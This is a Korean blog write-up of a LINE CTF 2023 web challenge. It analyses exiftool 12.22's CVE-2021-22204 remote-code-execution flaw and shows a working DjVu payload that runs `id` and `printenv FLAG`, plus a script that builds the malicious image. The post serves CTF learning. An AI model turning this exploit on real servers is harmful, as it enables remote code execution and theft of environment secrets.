&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제로 제공된 파일들 중&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제를 푸는 데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;중요한 파일은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;docker-compose.yml 파일과&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;backend 서버의&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;Dockerfile 입니다.&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ docker-compose.yml&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;docker-compose.yml 파일에서는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FLAG의 위치와&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Nginx 서버, Backend 서버의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;네트워크 구성을 확인할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1681092101573&quot; class=&quot;swift&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-language=&quot;swift&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;version: &quot;3.5&quot;

services:
  nginx:
    build:
      context: ./nginx/
    container_name: line_linectf2023_nginx
    restart: always
    image: line_linectf2023_nginx
    volumes:
      - &quot;./nginx/log:/var/log/nginx&quot;
    ports:
      - &quot;12000:80&quot; # in -&amp;gt; out
    networks:
      - line-linectf2023-frontend  # 외부로 연결되는 Network
      - line-linectf2023-internal  # 내부 Network 소속
    depends_on:
      - backend

  backend:
    build:
      context: ./backend/
    container_name: line_linectf2023_backend
    restart: always
    environment:
      - FLAG=LINECTF{redacted}  # 환경변수에 FLAG 세팅
      - SCRIPT_ENV=production
    networks:
      - line-linectf2023-internal  # 내부 Network 소속

networks:
  line-linectf2023-frontend:
    ipam:
      driver: default
      config:
        - subnet: 172.27.0.0/16
  line-linectf2023-internal:
    driver: bridge
    internal: true&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FLAG는 backend 서버의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;환경변수에 선언이 되었으며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;network 설정들을 보면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;backend 서버는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;line-linectf2023-internal(내부 network)에만,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;nginx 서버는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;line-linectf2023-internal(내부 network) 와&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;line-linectf2023-frontend(외부 network)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모두 연결되어 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ Dockerfile (backend 서버)&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;backend 서버의 Dockerfile에는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;python flask 서버를 구동하기 위한&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;패키지 설치 및 기타 설정 등이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기재되어 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1681107812907&quot; class=&quot;vbnet&quot; data-ke-language=&quot;vbnet&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;FROM python:3.11.2

...

RUN wget https://github.com/exiftool/exiftool/archive/refs/tags/12.22.tar.gz &amp;amp;&amp;amp; \
    tar xvf 12.22.tar.gz &amp;amp;&amp;amp; \
    cp -fr /exiftool-12.22/* /usr/bin &amp;amp;&amp;amp; \
    rm -rf /exiftool-12.22 &amp;amp;&amp;amp; \
    rm 12.22.tar.gz

...&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른 패키지는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;requirements.txt의 목록에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;pip&amp;nbsp; 명령어로 설치하지만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;유독,&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;u&gt;exiftool&lt;/u&gt;&lt;/b&gt; 패키지만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;wget을 통해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버전을 지정하여 설치하고 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ Python os.environ.get(&quot;FLAG&quot;)&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Python에서&amp;nbsp;시스템의 환경변수를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;불러오는 함수를 검색해도,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FLAG를 불러오는 함수는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;찾을 수 없습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;546&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cy1Jtm/btr9dZel07d/P3ov39vkakKqfBkEw6ZgmK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cy1Jtm/btr9dZel07d/P3ov39vkakKqfBkEw6ZgmK/img.png&quot; data-alt=&quot;Python Flask 코드에서 불러오는 환경변수들&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cy1Jtm/btr9dZel07d/P3ov39vkakKqfBkEw6ZgmK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcy1Jtm%2Fbtr9dZel07d%2FP3ov39vkakKqfBkEw6ZgmK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;373&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;546&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Python Flask 코드에서 불러오는 환경변수들&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;&lt;span&gt; &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 풀이&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치된 &lt;u&gt;&lt;b&gt;exiftool의 12.22 버전에는&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22204&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CVE-2021-22204&lt;/a&gt; 취약점이 존재&lt;/b&gt;&lt;/u&gt;합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ CVE-2021-22204&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ExifTool 버전 7.44 이상에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DjVu 파일 형식의 사용자 데이터를 잘못 처리하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;악의적인 이미지를 분석할 때&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;임의 코드를 실행할 수 있는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;RCE 취약점 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래는 취약점이 존재하는&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ParseAnt 함수의 전문 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1681110323412&quot; class=&quot;ruby&quot; data-ke-language=&quot;ruby&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;sub ParseAnt($)
{
    my $dataPt = shift;
    my (@toks, $tok, $more);
    # (the DjVu annotation syntax really sucks, and requires that every
    # single token be parsed in order to properly scan through the items)
Tok: for (;;) {
        # find the next token
        last unless $$dataPt =~ /(\S)/sg;   # get next non-space character
        if ($1 eq '(') {       # start of list
            $tok = ParseAnt($dataPt);
        } elsif ($1 eq ')') {  # end of list
            $more = 1;
            last;
        } elsif ($1 eq '&quot;') {  # quoted string
            $tok = '';
            for (;;) {
                # get string up to the next quotation mark
                # this doesn't work in perl 5.6.2! grrrr
                # last Tok unless $$dataPt =~ /(.*?)&quot;/sg;
                # $tok .= $1;
                my $pos = pos($$dataPt);
                last Tok unless $$dataPt =~ /&quot;/sg;
                $tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
                # we're good unless quote was escaped by odd number of backslashes
                last unless $tok =~ /(\\+)$/ and length($1) &amp;amp; 0x01;
                $tok .= '&quot;';    # quote is part of the string
            }
            # must protect unescaped &quot;$&quot; and &quot;@&quot; symbols, and &quot;\&quot; at end of string
            $tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
            # convert C escape sequences (allowed in quoted text)
            $tok = eval qq{&quot;$tok&quot;};
        } else {                # key name
            pos($$dataPt) = pos($$dataPt) - 1;
            # allow anything in key but whitespace, braces and double quotes
            # (this is one of those assumptions I mentioned)
            $tok = $$dataPt =~ /([^\s()&quot;]+)/sg ? $1 : undef;
        }
        push @toks, $tok if defined $tok;
    }
    # prevent further parsing unless more after this
    pos($$dataPt) = length $$dataPt unless $more;
    return @toks ? \@toks : undef;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점은 for 문을 빠져나오는 조건에서 발생합니다&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;446&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8PYGC/btr88sBq1wi/LVAlG53bmXmArzflBBwVF0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8PYGC/btr88sBq1wi/LVAlG53bmXmArzflBBwVF0/img.png&quot; data-alt=&quot;취약점 발생 위치&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8PYGC/btr88sBq1wi/LVAlG53bmXmArzflBBwVF0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8PYGC%2Fbtr88sBq1wi%2FLVAlG53bmXmArzflBBwVF0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;305&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;446&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;취약점 발생 위치&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;정규식&lt;span&gt;&amp;nbsp;&lt;/span&gt;/(\\+)$/&lt;/b&gt;&lt;/u&gt;&lt;span&gt;에서 &lt;/span&gt;&lt;u&gt;&lt;b&gt;$ 문자&lt;/b&gt;&lt;/u&gt;&lt;span&gt;는 &lt;/span&gt;문자열의 끝이나&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;u&gt;문자열의 끝에서 개행 전&lt;/u&gt;&lt;/b&gt;&lt;span&gt;을 의미합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서, 아래와 같은 Payload를 작성할 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1681116530814&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;laquo;입력&amp;raquo; 
\ 
&quot;.`id`# 

&amp;laquo;결과&amp;raquo;
uid=1000(amal) gid=1000(amal) groups=1000(amal)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참고로,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점 발생 위치와&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;eval 함수 사이의 정규표현식의 의미는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1681114455157&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# s{}{}sge는 sed 대체 명령(sed 's/old-text/new-text/g')과 유사하지만
# 내부의 이스케이프 슬래시를 제외합니다.

s  {\\(.)|([\$\@]|\\$)}  {'\\'.($2 || $1)}    s g e
│  │                  │  │               │    │   │
│  └────────┬─────────┘  └───────┬───────┘    └─┬─┘
│     search pattern      replace pattern    modifiers
│
└──── stands for &quot;substitution&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ 취약점 조치&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 취약점은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;12.24 버전에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문자를 치환하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;eval 함수를 제거하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;조치되었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;366&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d3DH6E/btr9ywhlNbM/mJYx0TksZQTdSqxqYoHrU0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d3DH6E/btr9ywhlNbM/mJYx0TksZQTdSqxqYoHrU0/img.png&quot; data-alt=&quot;CVE-2021-22204 조치&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d3DH6E/btr9ywhlNbM/mJYx0TksZQTdSqxqYoHrU0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd3DH6E%2Fbtr9ywhlNbM%2FmJYx0TksZQTdSqxqYoHrU0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;250&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;366&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;CVE-2021-22204 조치&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;&lt;span&gt; &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ Solve!&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선, POC용 이미지를 생성하기 위해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;exiftool을 설치합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;환경을 맞추기 위해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제의 Dockerfile을 참고해서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치하면 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1681190733237&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# Home 디렉토리로 이동
cd ~

# Exiftool 설치 및 정리
wget https://github.com/exiftool/exiftool/archive/refs/tags/12.22.tar.gz &amp;amp;&amp;amp; \
    tar xvf 12.22.tar.gz &amp;amp;&amp;amp; \
    cp -fr ~/exiftool-12.22/* /usr/bin &amp;amp;&amp;amp; \
    rm -rf ~/exiftool-12.22 &amp;amp;&amp;amp; \
    rm 12.22.tar.gz&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;POC 이미지를 생성하는 코드는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/convisolabs/CVE-2021-22204-exiftool&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;이미 만들어진 코드&lt;/a&gt;를 변경하여 사용했으며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1681192065740&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#!/bin/env python3
# exploit.py

import base64
import subprocess

subprocess.run(['bzz', 'payload', 'payload.bzz'])
subprocess.run(['djvumake', 'exploit.djvu', &quot;INFO=1,1&quot;, 'BGjp=/dev/null', 'ANTz=payload.bzz'])
subprocess.run(['exiftool', '-config', 'configfile', '-HasselbladExif&amp;lt;=exploit.djvu', 'image.jpg'])&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존에&amp;nbsp;exploit file를 생성하는 코드를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제거했기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;직접 입력해줘야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1681192201331&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# Payload file 생성
vi payload&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Payload는 다음과 같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1681192164428&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;(metadata (Warning &quot;\
&quot;; return `printenv FLAG`; #&quot;))&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Python Code를 실행시키면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;image.jpg 파일이 업데이트 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;114&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0JyXQ/btr9pZyJ0zC/khTndxKmE5sKlvnDE8D2qk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0JyXQ/btr9pZyJ0zC/khTndxKmE5sKlvnDE8D2qk/img.png&quot; data-alt=&quot;POC용 이미지 파일 생성&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0JyXQ/btr9pZyJ0zC/khTndxKmE5sKlvnDE8D2qk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0JyXQ%2Fbtr9pZyJ0zC%2FkhTndxKmE5sKlvnDE8D2qk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;78&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;114&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;POC용 이미지 파일 생성&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생성된 파일을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 사이트에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;업로드하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FLAG 값을 얻을 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;446&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qYvQn/btr9zNcXeT1/KIFS5nfTletF1LMJw3Y6bK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qYvQn/btr9zNcXeT1/KIFS5nfTletF1LMJw3Y6bK/img.png&quot; data-alt=&quot;Solved !!&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qYvQn/btr9zNcXeT1/KIFS5nfTletF1LMJw3Y6bK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqYvQn%2Fbtr9zNcXeT1%2FKIFS5nfTletF1LMJw3Y6bK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;305&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;446&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Solved !!&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>Study/CTF</category>
      <category>CTF</category>
      <category>CVE-2021-22204</category>
      <category>LINECTF2023</category>
      <category>writeup</category>
      <category>문제풀이</category>
      <category>해킹대회</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/180</guid>
      <comments>https://chmodi.tistory.com/180#entry180comment</comments>
      <pubDate>Tue, 11 Apr 2023 14:57:58 +0900</pubDate>
    </item>
    <item>
      <title>[Line CTF 2023 Write Up] WEB 4번: Adult Simple GoCurl</title>
